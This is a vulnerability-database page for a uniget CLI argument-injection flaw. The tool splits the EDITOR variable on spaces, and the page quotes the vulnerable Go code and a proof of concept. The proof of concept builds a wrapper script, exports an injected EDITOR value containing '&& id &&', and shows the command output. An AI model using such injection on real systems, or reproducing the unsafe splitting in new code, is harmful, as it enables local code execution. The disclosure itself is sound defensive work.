Skip to main content

uniget CLI CVE-2026-55061

MEDIUM
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-08-17 https://github.com/uniget-org/cli GHSA-qmcq-xw74-w667
Share

Severity by source

vuln.today AI
7.3 HIGH

Local vector because EDITOR control requires local session or environment access; PR:L for user-level env manipulation; UI:R since victim must run hooks edit.

3.1 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 17, 2026 - 18:40 vuln.today
Analysis Generated
Aug 17, 2026 - 18:40 vuln.today

DescriptionCVE.org

Summary

The uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, " ")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.

Vulnerable Code:

editorWithArgs := strings.Split(editor, " ")

Location Context:

editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
    editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ")  // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)

Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.

Step to Reproduce

Step 1: Create malicious editor wrapper

mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.sh

Step 2: Create test hook

mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.sh

Step 3: Set injection payload

export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"

Step 4: Run vulnerable code

cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.sh

Step 5: Observe output

[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)

<img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />

AnalysisAI

Command injection in uniget CLI's hook editing feature enables arbitrary code execution via a maliciously crafted EDITOR environment variable. The hooks edit subcommand reads the UNIGET_EDITOR or EDITOR environment variable and splits it on whitespace using Go's strings.Split(), causing embedded shell metacharacters such as && to be passed as discrete exec arguments that downstream shell-backed editor wrappers then interpret as command separators. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires two concurrent conditions: (1) the attacker must control the value of the EDITOR or UNIGET_EDITOR environment variable within the victim's process environment - achievable via shared shell initialization files, sudo configurations that preserve the EDITOR variable, CI/CD pipelines where build parameters influence environment, or direct local session access; and (2) the victim must invoke the `uniget hooks edit` subcommand, the sole code path that reads and splits the editor variable. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No NVD CVSS score was available at time of analysis; independent assessment places this at approximately CVSS 3.1 7.3 (High) given a local attack vector, low complexity, low-privilege requirement, required user interaction, and high confidentiality/integrity/availability impact on the victim's user context. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade uniget CLI to version 0.27.6 or later, available at https://github.com/uniget-org/cli/releases/tag/v0.27.6. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

Share

CVE-2026-55061 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy